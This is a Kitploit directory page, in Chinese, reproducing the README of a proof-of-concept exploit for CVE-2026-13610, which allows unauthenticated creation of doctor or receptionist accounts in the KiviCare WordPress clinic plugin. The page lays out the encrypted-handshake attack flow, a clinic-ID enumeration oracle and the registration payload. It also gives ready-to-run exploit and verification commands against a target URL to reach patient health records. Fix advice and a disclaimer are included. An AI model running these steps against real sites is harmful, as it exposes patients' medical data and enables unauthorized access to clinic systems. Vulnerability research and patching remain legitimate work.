Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13610 — 针对 KiviCare WordPress 插件中因权限管理不当导致的未认证医生/前台接待员账户创建的漏洞利用 PoC,可提供员工级别的 PHI(受保护健康信息)访问权限。 | Kitploit
工具/GitHubGitHub/ghostpels/cve-2026-13610
身份验证与授权权限提升漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubghostpels/cve-2026-13610

CVE-2026-13610

针对 KiviCare WordPress 插件中因权限管理不当导致的未认证医生/前台接待员账户创建的漏洞利用 PoC,可提供员工级别的 PHI(受保护健康信息)访问权限。

查看仓库
625天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-13610

KiviCare – 诊所与患者管理系统 <= 4.5.1 — 不当权限管理导致未认证创建医生/前台账户

CWE-269(不当权限管理) | 使用攻击者选择的员工角色进行未认证注册 → 患者 PHI 泄露


概述

KiviCare – 诊所与患者管理系统 WordPress 插件(4.5.1 及之前的所有版本)中存在严重漏洞,允许未认证攻击者使用自选密码注册医生(kiviCare_doctor)或前台(kiviCare_receptionist)账户,并将其映射到攻击者选择的诊所。

该漏洞的存在是因为公共注册端点直接从请求体中获取 user_role 参数,且其验证白名单包含诊所员工角色:

关卡作用结果
permission_callback无 is_user_logged_in()、无 nonce、无能力检查通过;最终以 return true 结束
user_role 白名单接受 kiviCare_doctor、kiviCare_receptionist、kiviCare_patient攻击者可选择员工角色
patient_role_only 参数声明默认值为 yes从未被读取 — 形同虚设的参数
reCAPTCHA仅当 if (isset($params['recaptchaToken'])) 时才进行验证通过省略该参数即可绕过

漏洞详情


根因分析

注册端点 POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242)仅受 checkRegistrationPermission()(:602–650)保护,该函数:

  1. 如果启用了 users_can_register,则立即返回 true(无认证检查)。
  2. 否则检查插件自身的角色设置 — 在默认安装中,由于 KCOption::get() 返回 null,该设置默认为允许。
  3. 最终在函数末尾落入 return true。

随后,register() 处理器(:1277–1387)从请求体中读取 user_role,将其映射到 KCDoctor / KCReceptionist 模型,并调用 $model->save() — 该函数会执行 wp_insert_user() 和 setRole('kiviCare_doctor')(app/models/KCDoctor.php:136),且不进行任何授权检查。由此产生的账户处于激活状态,并映射到攻击者选择的诊所。

插件的 E2EE 请求体加密并非障碍:握手端点(server-key、config/register-key)是未认证的(app/controllers/api/ConfigController.php:190–205),因此任何客户端都可以协商一个访客密钥并发送加密载荷。

完整分步解析:analysis/TECHNICAL_ANALYSIS.md


攻击流程

root@kitploit:~
1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

安装

root@kitploit:~
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

用法

预检(目标设置 + E2EE 握手)

root@kitploit:~
python preflight.py http://target.com

创建医生账户(未认证)

root@kitploit:~
python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

该脚本会自动检测传输模式(纯 JSON 与 E2EE 加密),并在未提供 --clinic 时枚举诊所 ID。

使用创建的账户验证临床数据访问

root@kitploit:~
python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

通过 REST 登录,重新绑定账户的 E2EE 响应密钥,然后调用仅限员工访问的端点(/patients、/appointments)。

选项(exploit.py)

root@kitploit:~
--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

影响

成功利用后将产生一个映射到真实诊所的激活员工账户,且无需任何认证:

  • 读取/导出患者 PHI:病历、就诊记录、处方、账单
  • 创建/编辑/删除预约、诊疗会话、报告、处方
  • 拥有 wp-admin 仪表板访问权限(read + upload_files)的有效 WordPress 账户 — 为进一步攻击提供了立足点

该端点不允许创建 WordPress administrator 账户(user_role 白名单会拒绝该角色),但医生角色已足以实现对临床数据的完整访问。


修复建议

  1. 强制未认证注册者使用患者角色,并强制执行已声明的 patient_role_only 参数
  2. 将员工账户创建移至仅限管理员的端点,并置于 current_user_can('create_users') + nonce 验证之后
  3. 在 checkRegistrationPermission 中默认拒绝 — 移除函数末尾兜底的 return true
  4. 启用 reCAPTCHA 时要求提供 recaptchaToken(目前为可选)
  5. 一旦发布修补版本,请立即更新 KiviCare

参考资料

  • NVD 条目
  • WordPress 插件页面
  • 完整技术分析
  • Patchstack.

免责声明

仅供教育和授权测试使用。

本工具面向拥有明确书面授权对目标系统进行测试的安全研究人员和渗透测试人员。未经授权访问计算机系统属违法行为。作者对滥用本工具的行为不承担任何责任。所有验证均在作者自己的实验基础设施上完成。


作者

ghostpels — 安全研究与漏洞利用开发

许可证

本项目采用 ghostpels 安全研究许可证 授权。

下载工具
字段值
CVE IDCVE-2026-13610
CWECWE-269(不当权限管理)
插件KiviCare – 诊所与患者管理系统
受影响版本4.5.1 及之前的所有版本
已修复截至本次分析尚未确认
类型使用员工角色进行未认证账户创建(权限提升)
研究人员Sai Praneeth Koti
发布时间2026